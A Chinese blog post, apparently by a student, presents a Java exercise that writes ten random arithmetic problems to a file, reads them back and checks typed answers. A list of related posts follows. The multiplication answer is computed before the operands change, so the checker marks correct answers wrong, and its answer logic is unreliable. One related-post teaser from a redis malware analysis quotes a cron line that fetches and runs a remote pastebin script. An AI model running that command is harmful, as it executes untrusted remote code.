Java课程课堂测试05
大致要求:将十道计算题输出至TXT文件,再读取文件至控制台,然后在控制台中输入答案并评判对错
我在大致的要求当中已经将我的设计思路体现了出来
首先,实现计算题的设计,第二步要对计算题循环,将答案存到一个数组当中便于核对,然后利用文件流将计算题输出到文件中,然后再用文件流读到控制台然后,然后再在控制台中输入自己的答案和已经储存好的答案进行对比,并且判断对错。
package LessonTest; import java.io.*; public class four1 { static int []sum = new int[10]; public void input() throws IOException
{
int nummin, nummax;
String str1;
String str2;
char []ch= {'+','-','*','/'};
int cha; File f = new File("C:/D/log.txt");
FileOutputStream fop = new FileOutputStream(f);
// 构建FileOutputStream对象,文件不存在会自动新建 OutputStreamWriter writer = new OutputStreamWriter(fop, "UTF-8");
// 构建OutputStreamWriter对象,参数可以指定编码,默认为操作系统默认编码,windows上是gbk for(int i=0;i<10;i++)
{
nummax=(int)(Math.random()*1000);
nummin=(int)(Math.random()*1000); cha=(int)(Math.random()*4);
if(ch[cha]=='+'||ch[cha]=='-')
{
if(ch[cha]=='+')
sum[i]=nummax+nummin;
else
sum[i]=nummax-nummin;
str1=Integer.toString(nummax);
str2=Integer.toString(nummin);
writer.append(str1);
writer.append(ch[cha]);
writer.append(str2);
writer.append("=");
}
else if(ch[cha]=='*')
{
sum[i]=nummax*nummin;
nummax=(int)(Math.random()*100);
nummin=(int)(Math.random()*100);
str1=Integer.toString(nummax);
str2=Integer.toString(nummin);
writer.append(str1);
writer.append(ch[cha]);
writer.append(str2);
writer.append("=");
}
else if(ch[cha]=='/')
{
nummin=(int)(Math.random()*10)+1;
while(nummax%nummin!=0)
{
nummax=(int)(Math.random()*1000);
nummin=(int)(Math.random()*10)+1;
}
sum[i]=nummax/nummin;
str1=Integer.toString(nummax);
str2=Integer.toString(nummin);
writer.append(str1);
writer.append(ch[cha]);
writer.append(str2);
writer.append("=");
} // 写入到缓冲区 writer.append("\r\n");
// 换行 }
writer.close(); // 刷新缓存冲,写入到文件,如果下面已经没有写入的内容了,直接close也会写入 // 关闭写入流,同时会把缓冲区内容写入文件,所以上面的注释掉 fop.close();
// 关闭输出流,释放系统资源 FileInputStream fip = new FileInputStream(f);
// 构建FileInputStream对象 InputStreamReader reader = new InputStreamReader(fip, "UTF-8");
// 构建InputStreamReader对象,编码与写入相同 StringBuffer sb = new StringBuffer();
while (reader.ready()) {
sb.append((char) reader.read());
// 转成char加到StringBuffer对象中
} reader.close();
// 关闭读取流 fip.close();
// 关闭输入流,释放系统资源 }
}
package LessonTest; import java.io.*;
import java.util.Scanner; public class four2
{ public void name()throws Exception
{
String in=in("C:/D/log.txt");
System.out.println(in);
}
private String in(String file) throws IOException {
// TODO Auto-generated method stub
int num; Scanner in=new Scanner(System.in);
File f=new File(file);
BufferedReader bf=new BufferedReader(new FileReader(f));
String content="";
for(int i=0;i<10;i++)
{
content=bf.readLine();
System.out.println(content);
num=in.nextInt();
if(num==four1.sum[i])
System.out.println("对");
else
System.out.println("不对");
} return null;
} }
package LessonTest; import java.io.IOException;
import java.util.Scanner; public class main { public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Scanner in=new Scanner(System.in);
four1 f1=new four1();
f1.input();
four2 f2=new four2();
f2.name(); } }
在课堂上没有做出来的原因,对于文件流的使用不是非常的熟练,所以导致没有很快的写出程序。
Java课程课堂测试05的更多相关文章
- JAVA语言课堂测试源代码及使用截图
1源代码 第一部分 package 开学测试.java;class ScoreInformation {String stunumber;String name;double mathematicss ...
- JAVA web课堂测试1
1登录账号:要求由6到12位字母.数字.下划线组成,只有字母可以开头:(1分)2登录密码:要求显示“• ”或“*”表示输入位数,密码要求八位以上字母.数字组成.(1分)3性别:要求用单选框或下拉框实现 ...
- 2019.9.30极限测试 04.JAVA语言课堂测试试卷-极限测试
题目存储在上传的文件当中. 代码实现 Subway 类: package ClassroomTest; public class Subway { private String railway; pr ...
- Java课程课堂作业代码
前言 本文章只是单纯记录课堂老师布置的课堂作业代码,题目都比较简单,所以没有写解题思路,相信大家都能理解,当然其中有的解法和代码不是最优的,当时只是为了完成题目,后来也懒得改了,如果有不恰当或者不正确 ...
- java课程课后作业05之动手动脑
一.使用Files. walkFileTree()找出指定文件夹下所有大于指定大小(比如1M)的文件 此代码没有使用walkfiletree,两者的差别在于walkfiletree在遍历文件的时候有一 ...
- JAVA语言课堂测试01源代码(学生成绩管理系统)
package 考试; /*信1807-8 * 20183798 * 向瑜 */ import java.util.Scanner; //ScoreInformation 类 class ScoreI ...
- java web课堂测试
下面是web界面 <%@ page language="java" import="java.util.*" pageEncoding="UTF ...
- JAVA首次课堂测试总结
暑期生活已经结束,新的学期也已经开始,而暑期放假之前约定的JAVA首次课堂测试也如期的到来,本次测试真的可以学到和多东西,也有很多感想. 首先体会最深的就是系主任所说的软件工程不是那么好学的,真的需要 ...
- 20172306 2018-2019《Java程序设计与数据结构课堂测试补充报告》
学号 2017-2018-2 <程序设计与数据结构>课堂测试补充报告 课程:<程序设计与数据结构> 班级: 1723 姓名: 刘辰 学号:20172306 实验教师:王志强 必 ...
随机推荐
- [Java代码] Java用pinyin4j根据汉语获取各种格式和需求的拼音
pinyin4j是一个功能强悍的汉语拼音工具包,主要是从汉语获取各种格式和需求的拼音,功能强悍,下面看看如何使用pinyin4j.下面介绍用pinyin4j来做的一个根据汉语获取各种格式和需求的拼音d ...
- FileUpload1.PostedFile.FileName 获取的文件名
例如文件叫做 c:\web\a.jpg 如果用IE,则返回 c:\web\a.jpg 含路径 如果用Chrome,则返回 a.jpg 不含路径.
- 【开源】C#信息抽取系统【招募C#队友】
FDDC2018金融算法挑战赛02-A股上市公司公告信息抽取 更新时间 2018年7月11日 By 带着兔子去旅行 信息抽取是NLP里的一个实用内容.该工具的目标是打造一个泛用的自动信息抽取工具.使得 ...
- 【Linux】Centos下安装ffmpeg
一.准备工作 1.系统环境:CentOS release 6.9 (Final) 2.安装依赖包 yum install -y autoconf automake cmake freetype-dev ...
- dagger2 重点笔记
官方架构例子,里面有个dagger2的结合的例子 https://github.com/googlesamples/android-architecture https://google.github ...
- HDU 5095--Linearization of the kernel functions in SVM【模拟】
Linearization of the kernel functions in SVM Time Limit: 2000/1000 MS (Java/Others) Memory Limit: ...
- 记一次redis病毒分析笔记
起因 偶然间发现redis里有一个陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb| ...
- Fluent动网格【10】:区域运动案例
本案例主要描述如何在Fluent中处理包含了公转和自转的复合运动.涉及到的内容包括: 多区域模型创建 滑移网格设置 区域运动UDF宏DEFINE_ZONE_MOTION 案例描述 案例几何如图所示. ...
- SQL Server 各种时间业务处理
1.SQL 生成随机字符串作为流水号 ), ) --年月日时分秒 ), ),'-','') ), ),':','') --随机英文字符 ))),) ) --英文加数字 随机五位数字 )))) ))), ...
- window10下TensorFlow-gpu环境搭建
安装python 下载python3.5.4 https://www.python.org/downloads/release/python-354/ 选择Windows x86-64 executa ...